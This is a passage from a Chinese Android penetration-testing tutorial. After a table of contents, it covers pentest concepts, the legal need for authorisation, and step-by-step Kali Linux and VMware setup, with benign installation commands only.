·II·
2.2.5 遍历文件漏洞 ................................................................................................................. 56
第 3 章 流量分析 ..................................................................................................................................... 58
3.1 外部式被动分析 ........................................................................................................................ 58
3.1.1 配置捕获的环境 ............................................................................................................. 58
3.1.2 启动 Wireshark 工具 ....................................................................................................... 59
3.1.3 设置无线设备的监听模式 ............................................................................................. 62
3.1.4 解密 WEP 加密的包 ....................................................................................................... 65
3.1.5 解密 WPA-PSK/WPA2-PSK 加密的包 ......................................................................... 67
3.2 内部式被动分析 ........................................................................................................................ 70
3.2.1 Tcpdump 工具 ................................................................................................................. 70
3.2.2 配置捕获环境 ................................................................................................................. 72
3.2.3 使用 ADB 工具抓包 ....................................................................................................... 72
3.2.4 使用 ADB 工具抓包方式二 ........................................................................................... 77
3.2.5 捕获 AVD 数据包 ........................................................................................................... 77
3.2.6 使用终端模拟器抓包 ..................................................................................................... 83
3.3 主动分析 .................................................................................................................................... 89
3.3.1 什么是主动分析 ............................................................................................................. 89
3.3.2 主动分析的软件环境 Burp Suite ................................................................................... 89
3.3.3 在模拟器上使用代理 ..................................................................................................... 93
3.3.4 在 Android 设备上使用代理 .......................................................................................... 94
3.3.5 设置 Burp Suite 代理 ...................................................................................................... 95
3.3.6 抓取 HTTPS 数据包 ....................................................................................................... 97
3.5 提取敏感文件 .......................................................................................................................... 105
第 4 章 Android 取证 ............................................................................................................................. 108
4.1 取证的概述 .............................................................................................................................. 108
4.1.1 什么是取证 ................................................................................................................... 108
4.1.2 取证的类型 ................................................................................................................... 108
4.2 实施逻辑取证 .......................................................................................................................... 108
4.2.1 使用 Andriller 提取应用程序的数据 ........................................................................... 109
4.2.2 使用 AFLogical 提取联系人、通话记录和短信 ........................................................ 112
4.2.3 使用 ADB backup 提取应用程序的数据 .................................................................... 124
4.2.4 手动备份应用程序数据库 ........................................................................................... 128
4.3 实施物理取证 .......................................................................................................................... 132
4.3.1 Android 设备文件系统概述 ......................................................................................... 132
4.3.2 Android 文件系统分区 ................................................................................................. 132
4.3.3 使用 dd 命令提取数据 ................................................................................................. 134
4.3.4 获取日志 ....................................................................................................................... 135
第 5 章 SQLite 数据库 ........................................................................................................................... 139
5.1 SQLite 数据库概述 .................................................................................................................. 139
5.1.1 SQLite 数据库工作原理 ............................................................................................... 139
5.1.2 SQLite 的特点 ............................................................................................................... 139
Android 渗透测试入门教程(内部资料)——daxueba.net 版权所有
·III·
5.1.3 SQLite 工具内置命令 ................................................................................................... 140
5.2 使用 SQLite 工具分析应用程序 ............................................................................................. 141
5.2.1 安装和配置 sqlite 应用程序 ......................................................................................... 141
5.2.2 使用 sqlite3 分析数据库 ............................................................................................... 143
5.3 安全评估 .................................................................................................................................. 145
5.3.1 安装和配置 VulnSqlite ................................................................................................. 145
5.3.2 实施渗透测试 ............................................................................................................... 147
5.3.3 实施 SQL 注入 .............................................................................................................. 148
第 6 章 Android 系统攻击 ..................................................................................................................... 153
6.1 WebView 概述 ......................................................................................................................... 153
6.1.1 WebView 组件的使用 .................................................................................................. 153
6.1.2 利用 WebView 漏洞实施渗透测试的方式 ................................................................. 154
6.1.3 什么是 DNS 欺骗 ......................................................................................................... 155
6.1.4 DNS 欺骗环境配置 ...................................................................................................... 156
6.1.5 中间人攻击前配置 ....................................................................................................... 158
6.1.6 实施中间人攻击(DNS 欺骗) .................................................................................. 161
6.1.7 停止攻击 ....................................................................................................................... 168
6.2 感染合法的 APK 包 ................................................................................................................ 168
6.3 AD 库漏洞 ............................................................................................................................... 169
6.4 跨应用程序 .............................................................................................................................. 170
Android 渗透测试入门教程(内部资料)——daxueba.net 版权所有
·4·
第 1 章 Android 渗透测试
Android 是一种基于 Linux 的自由及开放源代码的操作系统,主要用于移动设备,如智
能手机、平板等。目前,大部分用户都使用的是 Android 系统的手机。所以,学习 Android
渗透测试是非常重要的。用户通过对自己的 Android 设备进行渗透测试,可以评估自己的系
统是否安全,或者是否存在有漏洞等。本章将介绍 Android 渗透测试的基础知识。
1.1 Android 系统概述
Android(安卓)是一种基于 Linux 的自由及开发源代码的操作系统,主要用于移动设
备,如智能手机和平板电脑。它是由 Google 成立的 Open Handset Alliance(OHA,开放手
持设备联盟)领导及开发。Android 操作系统最初由 Andy Rubin 开发,主要支持手机。2005
年 8 月由 Google 收购注资。2007 年 11 月,Google 与 84 家硬件制造商、软件开发商及电信
营运商组建开发手机联盟共同研发改良 Android。随后 Google 以及 Apache 开源许可证的授
权方式,发布了 Android 的源代码。第一部 Android 智能手机发布于 2008 年 10 月。Android
逐渐扩展到平板电脑及其他领域,如电视、数码相机、游戏机等。
Android 系统的发展也比较迅速,到目前已经到 Android 5(Lollipop)。每个版本的发
布时间及使用,如表 1-1 所示。
表 1-1 Android版本
版本
代码名称
发布时间
API级别
5.0(Lollipop)
2014年6月26日
21
4.4
KitKat
2013年10月31日
19
4.3
Jelly Bean
2013年7月24日
18
4.2.X
2012年11月13日
17
4.1.X
2012年7月9日
16
4.0.3-4.0.4
Ice Cream Sandwich
2011年12月16日
15
2.3.3-2.3.7
Gingerbread
2011年1月9日
10
2.2
Froyo
2010年5月20
8
1.2 什么是渗透测试
渗透测试并没有一个标准的定义。国外一些安全组织达成共识的通用说法是,渗透测试
是通过模拟恶意黑客的攻击方法,来评估计算机网络系统安全的一种评估方法。渗透测试的
过程并非简单地运行一些扫描器和自动化工具,该过程中包括对系统的任何弱点、技术缺陷
或漏洞的主动分析。这个分析是从一个攻击者可能存在的位置来进行的,并且从这个位置有
条件主动利用安全漏洞。
Android 渗透测试入门教程(内部资料)——daxueba.net 版权所有
·5·
1.2.1 渗透测试工作流程
渗透测试与其它评估方法不同。通常的评估方法是根据已知信息资源或其它被评估对象,
去发现所有相关的安全问题。渗透测试是根据已知可利用的安全漏洞,去发现是否存在相应
的信息资源。相比较而言,通常评估方法对评估结果更具有全面性,而渗透测试更注重安全
漏洞的严重性。渗透测试通常有七个阶段,如下所示:
前期交互阶段:该阶段通常是用来确定渗透测试的范围和目标的。
信息收集阶段:在该阶段需要采用各种方法来收集目标主机的信息,包括使用社交
媒体网络、Google Hacking 技术、目标系统踩点等。
威胁建模阶段:该阶段主要是使用信息收集阶段所获取到的信息,来标识出目标系
统上可能存在的安全漏洞与弱点。
漏洞分析阶段:在该阶段将综合从前面几个环节中获取到的信息,从中分析和理解
那些攻击途径是可行的。特别是需要重点分析端口和漏洞扫描结果,截取到服务的
重要信息,以及在信息收集环节中得到的其它关键信息。
渗透攻击阶段:该阶段可能是在渗透测试过程中最吸引人的过程。然而在这种情况
下,往往没有用户所预想的那么一帆风顺,而往往是曲径通幽。在攻击目标主机时,
一定要清晰地了解在目标系统上存在这个漏洞。否则,根本无法攻击成功。
后渗透攻击阶段:该阶段在任何一次渗透过程中都是一个关键环节。该阶段将以特
定的业务系统作为目标,识别出关键的基础设施,并寻找客户组织最具价值和尝试
进行安全保护的信息和资产。
报告阶段:报告是渗透测试过程中最重要的因素,使用该报告文档可以交流渗透测
试过程中做了什么、如何做的以及最为重要的安全漏洞与弱点。
1.2.2 渗透测试类型
到现在为止,大家已经对渗透测试的基本技术流程与环节有了一个初步的了解。接下来
介绍一下渗透测试的两种基本类型,分别是黑盒测试和白盒测试。白盒测试有时也被称为“白
帽子”,是指渗透测试者在拥有客户组织所有知识的情况下进行的测试;而黑盒测试是指对
攻击主机一无所知的攻击者所进行的渗透测试。两种测试方法都拥有它们自己的优点和弱点。
下面分别介绍详细介绍这两种类型。
1.白盒测试
使用白盒测试,需要和客户组织一起工作,来识别出潜在的安全风险,客户组织将会向
用户展示它们的系统与网络环境。白盒测试最大的好处就是攻击者将拥有所有的内部信息,
并可以在不需要害怕被阻断的情况下任意地实施攻击。而白盒测试的最大问题在于无法有效
地测试客户组织的应急响应程序,也无法判断出它们的安全防护计划对检测特定攻击的效率。
如果时间有限,或是特定的渗透测试环节如信息收集并不在范围之内的话,那么白盒测试是
最好的渗透测试方法。
2.黑盒测试
黑盒测试与白盒测试不同的是,经过授权的黑盒测试是设计成为模拟攻击者的入侵行为,
并在不了解客户组织大部分信息和知识的情况下实施的。黑盒测试可以用来测试内部安全团
队检测和应对一次攻击的能力。
Android 渗透测试入门教程(内部资料)——daxueba.net 版权所有
·6·
黑盒测试是比较费时费力的,同时需要渗透测试者具备更强的技术能力。它依靠攻击者
的能力通过探测获取目标系统的系统。因此,作为一次黑盒测试的渗透测试者,通常并不需
要找出目标系统的所有安全漏洞,而只需要尝试找出并利用可用获取目标系统访问权代价最
小的攻击路径,并保证不被检测到。
不论测试方法是否相同,渗透测试通常具有两个显著特点。
渗透测试是一个渐进的并且逐步深入的过程。
渗透测试是选择不影响业务系统正常运行的攻击方法进行的测试。
1.2.3 法律边界
当实施渗透测试时,获取准确的书面授权是非常重要的事情。如果不清楚的话,可能导
致用户面临法律诉讼的问题,更有可能为此锒铛入狱。所以,这里简单介绍一些需注意的法
律边界问题。如下所示:
谁有权利授予这次渗透测试任务?
测试的目的是什么?
测试预计的时间范围是多少?测试中有什么限制,如什么时候可以进行测试?
你的客户指定漏洞评估和渗透测试的区别吗?
你在此次扫描测试过程中会和 IT 安全团队合作吗?你需要测试它们的能力吗?
可以在渗透过程中使用社会工程学攻击吗?可以使用拒绝服务攻击吗?
你能够使用一些物理安全测试方法来测试那些安全服务器、敏感数据存储、或其他
能够物理接触的设备吗?例如,撬锁、仿冒一些员工获得进入大楼的权限、或是进
入那些普通人员通常不能单独访问的区域。
你是否被允许查看网络文件,或者在测试之前告知网络架构来加速测试过程?如果
不明白这一点,可能会影响你得到测试结果的价值。但是在绝大多数业务中,这类
企业信息不会像用户想象的那么容易得到。
允许用户检查的 IP 范围是什么?没有经过正式允许的扫描和测试是法律所不允许
的。用户必须尽力弄清属于客户的网络范围和设备,否则可能会陷于法律指控的危
险之中。
公司的物理位置在哪里?如果允许使用社会工程学攻击,那么这个信息对测试人员
非常重要。因为这能够保证用户身处被测试的建筑物当中。如果时间允许,你应该
让客户指定。尽管他们认为自己的位置信息是保密或者难以发现的,但是你却能够
轻松地从公开渠道获取上诉的信息。
如果测试时遇到一个问题,或测试的最初目标已经达到,你应该做什么?你是否会
继续检查,以发现更多入口或结束测试?这个问题非常重要,它关系到客户为什么
要进行一次渗透测试这一首要问题。
用户需要注意不同国家对信息系统制定的法律不同。在针对渗透测试的法律上,不
是所有国家的法律都是相同的。
一旦通过漏洞攻击了系统,进一步拓展是否需要获得其他许可?这在对分段的网络
进行测试时非常重要。客户可能不会想到,你能够通过内网一台主机作为支点来进
一步渗透内网。
怎样处理数据库?是否允许你添加记录、用户等信息?
在渗透测试时,用户需要做一个列表,列出根据客户要求需要测试的内容。大部分数据
可以从客户那里直接收集,但是还有一些数据需要你们团队进行处理。如果担心法律问题,
Android 渗透测试入门教程(内部资料)——daxueba.net 版权所有
·7·
建议用户咨询一下法律顾问以确保对渗透测试的合法性有一个完全了解。
1.3 安装 Kali Linux
Kali Linux 是一个基于 Debian 的 Linux 发行版,该系统主要用于数字取证和渗透测试。
在该操作系统中预装了许多渗透测试软件,如端口扫描器、数据包分析器、密码破解工具等。
用户可以在硬盘、虚拟机、树莓派、USB 上安装该操作系统。本章将介绍在硬盘或虚拟机
中安装 Kali Linux 操作系统。
1.3.1 在硬盘上安装 Kali Linux
下面将介绍在硬盘上安装 Kali Linux 操作系统。在安装之前,首先需要获取 Kali Linux
系统的映像文件。Kali Linux 系统目前最新的版本是 1.0.9a,但是在该版本的安装过程中存
在 Bug。所以,为了使用户的操作更顺利,本小节将介绍 Kali Linux 系统 1.0.9 版本的安装
方法。
Kali Linux 系统 1.0.9 版本的映像文件下载地址是 http://cdimage.kali.org/kali-1.0.9/,如图
1.1 所示。
图 1.1 下载 Kali Linux ISO 映像文件
从该界面可以看到,提供了四个映像文件的下载地址。本书以 64 位操作系统为例,讲
解安装和使用。所以,选择下载 kali-linux-1.0.9-amd64.iso 文件。下载完 ISO 文件后,将该
映像文件刻录到一张 DVD 光盘上。接下来,就可以着手将 Kali Linux 安装至硬盘了。
【实例 1-1】在硬盘上安装 Kali Linux1.0.9。具体操作步骤如下所示:
(1)将刻录好的 DVD 安装光盘插入到计算机的光驱中,启动该计算机并在 BIOS 设置
光盘为第一启动项。当系统重新启动后,将显示如图 1.2 所示的界面。
Android 渗透测试入门教程(内部资料)——daxueba.net 版权所有
·8·
图 1.2 引导界面
(2)该界面是 Kali 的引导界面,这里选择 Graphical install 选项安装该操作系统。在该
界面使用方向键向下选择 Graphical install 选项(图形界面安装),将显示如图 1.3 所示的界
面。
图 1.3 选择语言
(3)在该界面选择安装系统语言,这里选择 Chinese(Simplified)选项。然后单击 Continue
按钮,将显示如图 1.4 所示的界面。
Android 渗透测试入门教程(内部资料)——daxueba.net 版权所有
·9·
图 1.4 确认选择的安装语言
(4)在该界面提示是否要以所选的语言继续安装,这里选择“是”单选按钮。然后单
击“继续”按钮,将显示如图 1.5 所示的界面。
图 1.5 选择区域
(5)在该界面选择用户当前所在的区域,这里选择“中国”选项。然后单击“继续”
按钮,将显示如图 1.6 所示的界面。
Android 渗透测试入门教程(内部资料)——daxueba.net 版权所有
·10·
图 1.6 配置键盘
(6)该界面用来配置键盘。这里选择默认的键盘格式为汉语,单击“继续”按钮,将
显示如图 1.7 所示的界面。
图 1.7 加载额外组件
(7)该过程中会加载一些额外组件并且配置网络。当网络配置成功后,将显示如图 1.8
所示的界面。
Android 渗透测试入门教程(内部资料)——daxueba.net 版权所有
·11·
图 1.8 设置主机名
(8)在该界面要求设置主机名,这里使用默认设置的名称 Kali。该名称可以任意设置,
设置完后单击“继续”按钮,将显示如图 1.9 所示的界面。
图 1.9 设置域名
(9)该界面用来设置计算机使用的域名,用户也可以不设置。这里使用默认提供的域
名 localdomain,然后单击“继续”按钮,将显示如图 1.10 所示的界面。
图 1.10 设置用户名和密码
Android 渗透测试入门教程(内部资料)——daxueba.net 版权所有
·12·
(10)该界面设置根 root 用户的密码。为了安全起见,建议设置一个比较复杂点的密
码。设置完成后单击“继续”按钮,将显示如图 1.11 所示的界面。
图 1.11 磁盘分区
(11)该界面用来选择分区方法。这里选择“使用整个磁盘”选项,然后单击“继续”
按钮,将显示如图 1.12 所示的界面。
图 1.12 选择要分区的磁盘
(12)在该界面选择要分区的磁盘。当前系统中只有一块磁盘,所有这里选择这一块就
可以了。然后单击“继续”按钮,将显示如图 1.13 所示的界面。
图 1.13 选择分区方案
Android 渗透测试入门教程(内部资料)——daxueba.net 版权所有
·13·
(13)在该界面选择分区方案,默认提供了三种方案。这里选择“将所有文件放在同一
个分区中(推荐新手使用)”,然后单击“继续”按钮,将显示如图 1.14 所示的界面。
图 1.14 分区情况
(14)该界面显示了当前系统的分区情况。从该界面可以看到目前分了两个区,分别是
根分区和 SWAP 分区。如果用户想修改目前的分区,选择“撤销对分区设置的修改”选项,
重新进行分区。如果不进行修改,则选择“分区设定结束并将修改写入磁盘”选项。然后单
击“继续”按钮,将显示如图 1.15 所示的界面。
图 1.15 格式化分区
(15)在该界面提示是否要将改动写入磁盘,也就是对磁盘进行格式化。这里选择“是”
复选框,然后单击“继续”按钮,将显示如图 1.16 所示的界面。
Android 渗透测试入门教程(内部资料)——daxueba.net 版权所有
·14·
图 1.16 安装系统
(16)此时,开始安装系统。在安装过程中需要设置一些信息,如设置网络镜像,如图
1.17 所示。如果安装 Kali Linux 系统的计算机没有连接到网络的话,在该界面选择“否”复
选框,然后单击“继续”按钮。这里选择“是”复选框,将显示如图 1.18 所示的界面。
图 1.17 配置软件包管理器 图 1.18 设置 HTTP 代理
(17)在该界面设置 HTTP 代理地址。当用户设置代理后,该系统中的软件将从代理服
务器上下载。如果不需要通过 HTTP 代理来连接到外部网络的话,直接单击“继续”按钮,
将显示如图 1.19 所示的界面。
Android 渗透测试入门教程(内部资料)——daxueba.net 版权所有
·15·
图 1.19 配置软件包管理器
(18)该界面显示正在配置软件包管理器。配置完成后,将显示如图 1.20 所示的界面。
图 1.20 将 GRUB 启动引导器安装到主引导记录(MBR)上吗?
(19)在该界面提示是否将 GRUB 启动引导器安装到主引导记录(MBR)上吗?这里
选择“是”复选框。然后单击“继续”按钮,将显示如图 1.21 所示的界面。
图 1.21 将 GRUB 安装至硬盘
Android 渗透测试入门教程(内部资料)——daxueba.net 版权所有
·16·
(20)此时将继续进行安装,结束安装进程后,将显示如图 1.22 所示的界面。
图 1.22 结束安装进程
(21)从该界面可以看到,当前操作系统已经安装完成。这时候,需要重新启动计算机
进入系统。所以,这里单击“继续”按钮,将返回到安装系统过程结束安装进程。安装完成
后,将自动重新启动系统。启动系统后,将显示如图 1.23 所示。
(22)在该界面选择登录的用户。由于当前没有创建任何普通用户,所以该界面只显示
了“其他”文本框。此时单击“其他”,将显示如图 1.24 所示的界面。
(23)在该界面输入登录系统的用户名,然后单击“登录”按钮,将显示如图 1.25 所
示的界面。
图1.23 登录系统 图1.24 输入用户名 图1.25 输入登录用
户密码
(24)在该界面输入登录用户的密码。然后单击“登录”按钮,将显示如图 1.26 所示
的界面。
Android 渗透测试入门教程(内部资料)——daxueba.net 版权所有
·17·
图 1.26 登录系统界面
(25)该界面就是成功登录 Kali Linux 后的默认桌面。接下来,用户就可以在该系统中
使用各种工具实施 Android 渗透测试了。
1.3.2 在虚拟机上安装 Kali Linux
虚拟机(Virtual Machine)指通过软件模拟具有完整硬件系统功能的、运行在一个完全
隔离环境中的完整计算机系统。虚拟机通过生成现有操作系统的全新虚拟镜像,它具有与真
实操作系统(包括 Windows 和 Linux)完全一样的功能。
当用户进入虚拟系统后,所有操作都是在这个全新的独立的虚拟系统里面进行,可以独
立安装运行软件、保存数据、拥有自己的独立桌面、不会对真正系统产生任何影响,而且具
有能够在现有系统与虚拟镜像直接灵活切换的一类操作系统。下面将介绍在虚拟机上安装
Kali linux 操作系统。
目前流行的虚拟机软件有 VMware、Virtual Box 和 Virtual PC。本节将以 VMware
Workstation 虚拟软件为例,介绍安装 Kali Linux 的方法。VMware Workstation 虚拟软件支持
Windows 和 Linux 操作系统,目前最新版本是 11.0.0。其中,所有 VMware 产品的下载地址
为 https://my.vmware.com/cn/web/vmware/downloads。在下载界面选择 VMware Workstation
产品,将显示如图 1.27 所示的界面。
Android 渗透测试入门教程(内部资料)——daxueba.net 版权所有
·18·
图 1.27 下载 VMware Workstation
从该界面可以看到,VMware Workstation 可以安装在 Windows 和 Linux 系统中。本书
选择将该软件安装到 Windows 操作系统,所以选择下载 VMware Workstation 11.0.0 for
Windows。下载完后,通过双击下载的软件名根据提示进行安装。由于该软件的安装方法比
较简单,所以这里不做介绍。
【实例 1-2】在虚拟机上安装 Kali Linux 操作系统。具体操作步骤如下所示:
(1)启动虚拟机软件 VMware Workstation,将显示如图 1.28 所示的界面。
图 1.28 VMware Workstation 11 主界面
(2)在该界面单击“创建新的虚拟机”图标,将显示如图 1.29 所示的界面。
Android 渗透测试入门教程(内部资料)——daxueba.net 版权所有
·19·
图 1.29 新建虚拟机向导
(3)该界面选择安装虚拟机的类型,包括“典型”和“自定义”两种。这里推荐使用
“典型”的方式,然后单击“下一步”按钮,将显示如图 1.30 所示的界面。
图 1.30 安装客户机操作系统
(4)在该界面选择如何安装客户机操作系统。这里选择“稍后安装操作系统”,然后
单击“下一步”按钮,将显示如图 1.31 所示的界面。
Android 渗透测试入门教程(内部资料)——daxueba.net 版权所有
·20·
图 1.31 选择客户机操作系统
(5)在该界面选择要安装的操作系统和版本。这里选择 Linux 操作系统,版本为“其
他 Linux 3.X 内核 64 位”,然后单击“下一步”按钮,将显示如图 1.32 所示的界面。
1.32 命名虚拟机
(6)在该界面为虚拟机创建一个名称,并设置虚拟机的安装位置。设置完成后,单击
“下一步”按钮,将显示如图 1.33 所示的界面。
Android 渗透测试入门教程(内部资料)——daxueba.net 版权所有
·21·
图 1.34 指定磁盘容量
(7)在该界面设置磁盘的容量。如果有足够大的磁盘时,建议设置的磁盘容量大点,
避免造成磁盘空间不足。这里设置为 80GB,然后单击“下一步”按钮,将显示如图 1.35 所
示的界面。
图 1.35 已准备好创建虚拟机
(8)该界面显示了所创建虚拟机的详细信息,接下来就可以创建操作系统了。在该界
面单击“完成”按钮,将显示如图 1.36 所示的界面。
Android 渗透测试入门教程(内部资料)——daxueba.net 版权所有
·22·
图 1.36 创建虚拟机
(9)该界面显示了新创建的虚拟机详细信息。接下来,就可以准备安装 Kali Linux 1.0.9
操作系统了。为了使虚拟机运行的更快及稳定,在安装 Kali Linux 操作系统之前对创建好的
虚拟机进行简单设置。在 VMware Workstation 窗口中单击“编辑虚拟机设置”,将显示如
图 1.37 所示的界面。
图 1.37 虚拟机设置
(10)在该界面可以设置内存、处理器、网络适配器等。将这些硬件配置好后,选择
“CD/DVD(IDE)”选项,将显示如图 1.38 所示的界面。
Android 渗透测试入门教程(内部资料)——daxueba.net 版权所有
·23·
图 1.38 选择 ISO 映像文件
(11)在该界面的右侧选择“使用 ISO 映像文件”复选框,并单击“浏览”按钮,选
择 Kali Linux1.0.9 的映像文件。然后单击“确定”按钮,将返回到图 1.36 所示的界面。此
时,就可以开始安装 Kali Linux 操作系统。
(12)在图 1.36 中单击“开启此虚拟机”命令,将显示如图 1.39 所示的界面。
图 1.39 操作系统引导界面
(13)该界面是 Kali Linux 操作系统的引导界面。在该界面选择 Graphical install 选项,
即可开始安装该操作系统。后面的安装方法,和 1.3.1 节介绍的安装方法相同。所以,这里
不再赘述。
1.3.3 安装 VMware Tools
VMware Tools 是 VMware 虚拟机中自带的一种增强工具。它是 VMware 提供的增强虚
拟显卡和硬盘性能,以及同步虚拟机与主机时钟的驱动程序。只有在 VMware 虚拟机中安
装好 VMware Tools 工具,才能实现主机与虚拟机之间的文件共享,同时可支持自由拖拽的
Android 渗透测试入门教程(内部资料)——daxueba.net 版权所有
·24·
功能,鼠标也可在虚拟机与主机之间自由移动(不用再按 Ctrl+Alt)。下面将介绍安装 VMware
Tools 的方法。
【实例 1-3】在 VMware Workstation 虚拟机中安装 VMware Tools。具体操作步骤如下
所示:
(1)在 VMware Workstation 菜单栏中,依次选择“虚拟机”|“安装 VMware Tools...”
命令,如图 1.40 所示。
图 1.40 安装 VMware Tools
注意:VMware Tools 是安装在操作系统中的。所以,用户必须要启动操作系统,才可
以选择“安装 VMware Tools(T)”命令。否则,该选项状态显示为灰色。
(2)挂载 VMware Tools 安装程序到/mnt/cdrom/目录。执行命令如下所示:
root@kali:~# mkdir /mnt/cdrom/
#创建挂载点
root@kali:~# mount /dev/cdrom /mnt/cdrom/
#挂载安装程序
mount: block device /dev/sr0 is write-protected, mounting read-only
看到以上的输出信息,表示 VMware Tools 安装程序挂载成功了。
(3)切换到挂载位置,解压安装程序 VMwareTools。执行命令如下所示:
root@kali:~# cd /mnt/cdrom/
#切换目录
root@kali:/mnt/cdrom# ls
#查看当前目录下的
文件
manifest.txt VMwareTools-9.9.0-2304977.tar.gz vmware-tools-upgrader-64
run_upgrader.sh vmware-tools-upgrader-32
root@kali:/mnt/cdrom# tar zxvf VMwareTools-9.9.0-2304977.tar.gz -C /
#解压VMwareTools
安装程序
执 行 以 上 命 令 后 , VMwareTools 程 序 将 被 解 压 到 / 目 录 中 , 并 生 成 一 个 名 为
vmware-tools-distrib 文件夹。
(4)切换到 VMwareTools 的目录,并运行安装程序。执行命令如下所示:
root@kali:/mnt/cdrom# cd /vmware-tools-distrib/
#切换目录
root@kali:/vmware-tools-distrib# ./vmware-install.pl
#运行安装程序
执行以上命令后,会出现一些问题。这时按下“回车”键,接受默认值即可。
注意:在执行 vmware-install.pl 程序过程中,会检测系统的内核头文件。如果系统中没
有安装内核头文件的话,将显示如下信息:
Enter the path to the kernel header filtes for the 3.14-kali1-amd64 kernel?
The path " " is not a valid path to the 3.14-kali1-amd64 kernel headers.
Would you like to change it? [yes] no
在以上提示信息中,输入 no 即可继续安装 VMware Tools。
(5)重新启动计算机。然后,虚拟机和物理机之间就可以实现复制、粘贴等操作。
Android 渗透测试入门教程(内部资料)——daxueba.net 版权所有
·25·
1.4 Kali Linux 安装后简单设置
当 Kali Linux 操作系统安装完成后,用户即可直接使用。但是,在使用过程中会需要安
装一些其它软件,或者需要输入中文。当用户安装某软件时,可能发现找不到相应的软件包,
或者无法输入中文。所以,在用户使用 Kali Linux 操作系统之前,进行一些简单设置,如配
置软件源、安装中文输入法、设置 VPN 代理等。这样,用户在执行操作时也会觉得很顺利。
本节将介绍 Kali Linux 安装后的一些简单设置。
1.4.1 配置软件源
在 Kali Linux 操作系统中,默认只有 Kali 官方和一个 security 源。通常情况下,由于网
络原因一些软件从默认的源中无法下载,或者默认源中没有提供需要的软件。这时候,用户
可以通过添加新的软件源来解决该问题。下面介绍如何在 Kali 中配置软件源。
目前,国内较快的一个软件源是“中国科学技术大学”。下面将以该软件源为例,介绍
在 Kali 中配置软件源的方法。Kali Linux 操作系统默认的软件源保存在/etc/apt/sources.list/
文件中。所以,在该文件中添加软件源的地址。如下所示:
root@kali:~# vi /etc/apt/sources.list
deb http://mirrors.ustc.edu.cn/kali kali main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali main non-free contrib
deb http://mirrors.ustc.edu.cn/kali-security kali/updates main
contrib non-free
添加完以上源后,保存 sources.list 文件并退出。在该文件中,添加的软件源是根据不同
的软件库分类的。其中,deb 指的是 DEB 包的目录;deb-src 指的是源码目录。如果不自己
看程序或者编译的话,可以不用指定 deb-src。由于 deb-src 和 deb 是成对出现的,可以不指
定 deb-src,但是当需要 deb-src 的时候,deb 是必须指定的。
添加完以上软件源后,需要更新软件包列表后才可以使用。更新软件包列表,执行命令
如下所示:
root@kali:~# apt-get update
更新完软件列表后,会自动退出程序。这样,“中国科学技术大学”的软件源就添加成
功了。当系统中没有提供有要安装的包时,会自动的从该软件源下载并安装相应的软件。
注意:在以上过程中,操作系统必须要连接到互联网。否则,更新会失败。
1.4.2 安装中文输入法
在 Kali Linux 操作系统中,默认没有安装中文输入法。在很多情况下,可能需要使用中
文输入法。为了方便用户的使用,下面将介绍在 Kali 中安装小企鹅中文输入法的方法。
1.安装小企鹅输入法
【实例 1-4】安装小企鹅输入法。执行命令如下所示:
root@kali:~# apt-get install fcitx-table-wbpy ttf-wqy-microhei ttf-wqy-zenhei
执行以上命令后,安装过程中没有出现任何错误的话,则表示小企鹅输入法安装成功。
2.启动小企鹅输入法
Android 渗透测试入门教程(内部资料)——daxueba.net 版权所有
·26·
小企鹅输入法安装成功后,需要启动才可以使用。启动小企鹅输入法。执行命令如下所
示:
root@kali:~# fcitx
执行以上命令后,会输出大量的信息。这些信息都是启动 fcitx 时加载的一些附加组件
配置文件。小企鹅输入法成功运行后,将会在 Kali Linux 系统桌面的右上角显示一个
图标。
3. 小企鹅输入法之间的切换
小企鹅输入法默认支持汉语、拼音、双拼和五笔拼音四种输入法,这几种输入法默认使
用 Ctrl+Shift 键切换。如果用户想要修改输入法之间的切换键,右击桌面右上角的
图标,
将弹出如图 1.41 所示的菜单栏。
图 1.41 fcitx 菜单栏 图 1.42 Fcitx 配置
在该菜单栏中选择“配置”命令,将显示如图 1.42 所示的界面。在该界面单击“全局
配置”标签,修改输入法之间的切换键,如图 1.43 所示。
图 1.43 全局配置
从该界面可以看到各种快捷键的设置,根据自己习惯用的快捷键进行设置。设置完后,
单击“应用”按钮。
2.设置 XMODIFIERS 环境变量
默认启动小企鹅输入法后,可能在最后出现一行警告信息“请设置环境变量
XMODIFIERS”。这是因为 XMODIFIERS 环境变量设置不正确所导致的。这时候只需要重
新设置一下 XMODIFIERS 环境变量就可以了。该信息只是一个警告,不会影响对输入法的
使用。所以,用户也可以不进行设置。
Android 渗透测试入门教程(内部资料)——daxueba.net 版权所有
·27·
为了方便用户的的使用,这里将介绍设置 XMODIFIERS 环境变量的方法。其语法格式
如下所示:
export XMODIFIERS="@im=YOUR_XIM_NAME"
语法中的 YOUR_XIM_NAME 为 XIM 程序在系统注册的名字。应用程序启动时会根据
该变量查找相应的 XIM 服务器。因此,即便系统中同时运行了若干个 XIM 程序,一个应用
程序在某个时刻也只能使用一个 XIM 输入法。
fcitx 缺省注册的 XIM 名为 fcitx。但如果 fcitx 启动时 XMODIFIERS 已经设置好,fcitx
会自动以系统的设置来注册合适的名字。如果没有设置好,使用以下方法设置。一般在
~/.bashrc 文件中添加以下内容即可。如下所示:
export XMODIFIERS="@im=fcitx"
export XIM=fcitx
export XIM_PROGRAM=fcitx
添加并保存以上内容后,重新登录当前用户,fcitx 输入法将自动运行。如果没有启动,
则在终端执行如下命令:
root@kali:~# fcitx
1.4.3 设置 VPN 代理
Kali Linux 操作系统默认安装后,无法配置 VPN 代理(所有按钮都是灰色),如图 1.44
所示。通常情况下,用户使用国内的网络无法访问国外网站。这时候,用户就可以通过设置
VPN 代理来解决该问题。下面将介绍在 Kali Linux 中设置 VPN 代理的方法。
图 1.44 配置网络连接
从该界面可以看到,配置 VPN 代理的所有按钮都是灰色的,无法点击。这是因为没有
安装 VPN 配置的相关软件包。
1.安装 VPN 配置的软件包
安装 VPN 配置的几个软件包,执行命令如下所示:
root@Kali:~# apt-get install network-manager-openvpn-gnome
root@Kali:~# apt-get install network-manager-pptp
root@Kali:~# apt-get install network-manager-pptp-gnome
执行以上命令后,如果输出信息中没有报错的话,则表示该包安装成功。接下来重新启
动网络管理器,使网络配置生效。执行命令如下所示:
root@Kali:~# /etc/init.d/network-manager restart
[ ok ] Stopping network connection manager: NetworkManager.
[ ok ] Starting network connection manager: NetworkManager.
Android 渗透测试入门教程(内部资料)——daxueba.net 版权所有
·28·
从以上输出信息中,可以看到网络管理器已成功启动。接下来,用户就可以配置 VPN
代理了。
2.配置 VPN 代理
【实例 1-5】将以上软件包安装后,就可以配置 VPN 了。具体操作步骤如下所示:
